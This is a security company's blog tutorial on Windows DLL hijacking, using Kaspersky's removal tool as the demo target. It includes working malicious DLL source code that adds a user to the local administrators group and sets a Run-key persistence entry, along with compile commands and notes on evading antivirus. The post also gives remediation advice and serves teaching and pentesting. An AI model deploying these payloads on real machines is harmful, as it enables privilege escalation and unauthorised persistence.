Dutch
English
pentesting
red teaming
persistence
case study

What is DLL Hijacking? And How Does it Work?

Zhassulan Zhussupov
09 November, 2022

DLL Hijacking

What is DLL Hijacking?

The term 'DLL Hijacking' a.k.a 'DLL preloading attack' refers to the injection of malicious code into Windows applications by exploiting the way how Dynamic Link Libraries (DLLs) are loaded.

How does DLL Hijacking work?

Note: we will only explore Win32 programs in this post. DLLs in the context of .NET programs have an entirely distinct meaning, thus We will not discuss them here despite the fact that they have the same extension. We don’t want to add to the confusion.

We are well aware at this point that programs need libraries (also known as DLLs) in order to accomplish a variety of tasks. These Dynamic Link Libraries (DLLs) are either included in the distribution package of the application itself, or they are DLLs that are included in the operating system that the applications run on.

In other words, dynamically constructed Win32 executables utilize functions exposed by internal or external Dynamic Link Libraries (DLL).
There are two primary methods to accomplish this:

1. At link time - When the program is compiled, an import table is added to the Portable Executable's headers (PE). Simply simply, it remembers which functions need to be imported from which DLL. Therefore, everytime the program is performed, the linker knows what to do and loads all necessary libraries automatically on your behalf.

2. Occasionally, it is necessary or desirable to import a library during runtime.
At this time, the linker has completed its portion of the task, so you will need to take care of a few things on your own. The Windows API provides the LoadLibrary() and LoadLibraryEx() functions.

Now, whenever a process requests to load a library, Microsoft Windows follows a predetermined order to look for the location of the library in question.

This search order is taken over by malware authors in order to achieve a variety of malevolent goals on the system of the victim, one of which is persistence, which is the topic of discussion in this article.

Before we go any further with our explanation of the DLL search sequence, it is essential to point out that the initial check will be:

DLLs already loaded in memory.
DLLs that are defined in the KnownDLLs, which could be found in the Windows Registry Key below:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Below you can see a list of known DLLs:

So DLL hijacking is a method in which a trusted and legit program is tricked into loading a malicious DLL.

When an application or service starts in a Windows environment, it searches for a number of DLLs in order to function properly. The first question that might pop into your head at this point is, "What is the DLL Search Order that Windows uses?"

This graphic illustrates Windows' default DLL search order:

1 st : the directory from where the application was loaded.
2 nd : the system directory C:\Windows\System32.
3 rd : the 16-bit system directory C:\Windows\System.
4 th : the Windows directory C:\Windows.
5 th : the current working directory.
6 th : the directories defined by the PATH environment variable

In this piece, we will just discuss the simplest scenario: an application's directory is readable and writable. In this instance, every DLL loaded by the application is susceptible to hijacking because the initial search location is utilized.

Step 1. Find process with missing DLLs

Using procmon from sysinternals with the following filters (criteria) is the most typical method for locating missing DLLs on a system:

This will determine if the program attempts to load a DLL and the exact location the application is searching for the missing DLL:

As you can see, we use Kaspersky Anti-Virus Remover tool as victim:

In our example, the process kavremover9.exe is missing several DLLs which possibly can be used for DLL hijacking. For example kavremover9ENU.dll.

Step 2. Check folder permissions

For correctness we can check folder permissions:

icacls C:\Users\User\Downloads

The documentation indicates that we have write access to this folder.

Step 3. DLL hikjacking demo

For simplicity, we create DLL which just pop-up a message box:

/*
evil.c - malicious DLL
DLL hijacking with exported functions example
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      MessageBox(
        NULL,
        "Welcome to websec blog!",
        "=^..^=",
        MB_OK
      );
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

Now we can compile it (on attacker’s machine):

i686_64-w64-mingw32-gcc -shared -o evil.dll evil.c

and copy to the victim's machine (in our case Windows 10 x64)

Then rename as kavremover9ENU.dll and copy to C:\Users\User\Downloads\kavremover-1.0.66\ our malicious DLL.

And now run Kaspersky Anti-Virus Removal Tool again:

As you can see, our malicious logic is perfectly executed.

Remediation

Perhaps the easiest corrective measures would consist of ensuring that all software is installed in the protected directory C:\Program Files or C:\Program Files (x86). If software cannot be installed in these places, the next simplest step is to guarantee that only Administrative users have "create" or "write" access to the installation directory in order to prevent an attacker from installing a malicious DLL and therefore breaking the vulnerability.

Privilege escalation

The usage of DLL hijacking extends beyond the execution of programs.
Additionally, it may be used to achieve persistence and privilege escalation:

Find a process that is missing a.dll file and operates with additional privileges (horizontal/lateral movement).

Have write access to any folder where the dll file will be searched (probably the executable directory or some folder inside the system path).

Then change our code to smth like this:

/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      system("cmd.exe /k net localgroup administrators user /add");
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

For x64 compile with: x86_64-w64-mingw32-gcc evil.c -shared -o target.dll
For x86 compile with: i686-w64-mingw32-gcc evil.c -shared -o target.dll

Further, all steps are similar.

Persistence

So, what about persistence?

Yes, that's also possible. To do this, it suffices to slightly modify our evil.c "malicious" code:

/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      HKEY hkey = NULL;
      // malicious app
      const char* exe = "C:\\...\\hack.exe";

      // startup
      LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
      if (res == ERROR_SUCCESS) {
        // create new registry key
        RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
        RegCloseKey(hkey);
      }
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

For simplicity, we used one of the classic Registry Run keys/Startup Folder persistence technique

Real world attacks

If all you want to perform is a Proof Of Concept (POC), then this is sufficient, i.e. an alert box from a malicious DLL is sufficient for POC.
However, this does not work in the actual world for two primary reasons.

  • The application crashes.
  • It is loud, and can not evade AV

Automated tools

WinPEAS will check if you have write permissions on any folder inside system PATH.
Other interesting automated tools to discover this vulnerability are PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll.

Conclusion

However, there is always a caveat.

In some instances, the DLL you generate must export many functions for the victim process to load.
If these functions do not exist, the malware cannot load them, and the exploit fails.

Compiling modified copies of existing DLLs is therefore more difficult than it seems, as many executables will not load such DLLs if procedures or entry points are absent.
Tools such as DLL Export Viewer may be used to catalogue all external function names and ordinals of valid DLLs.
Ensuring that our DLL follows the same format will increase the likelihood that it will load correctly.

At WebSec we use such methods during various of our assessments such as pentesting and red teaming, for more information see: Red Teaming

References

ATT&CK MITRE: DLL hijacking
Procmon from sysinternals
icacls
DLL Export Viewer
Registry Run keys/Startup Folder persistence technique

DLL Hijacking Testing Resources

...acking_Resources.zip



Authored By
Zhassulan Zhussupov

Cybersecurity enthusiast | Author | Speaker | CTF player | R&D Engineer | Jiu-Jitsu Practicioner

Deel met de wereld!

Beveiligingsbehoeften?

Bent u er echt zeker van dat uw organisatie veilig is?

Bij WebSec helpen we u deze vraag te beantwoorden door geavanceerde beveiligingsbeoordelingen uit te voeren.

Wil je meer weten? Plan een gesprek in met een van onze experts.

Afspraak Inplannen
Authored By
Zhassulan Zhussupov

Cybersecurity enthusiast | Author | Speaker | CTF player | R&D Engineer | Jiu-Jitsu Practicioner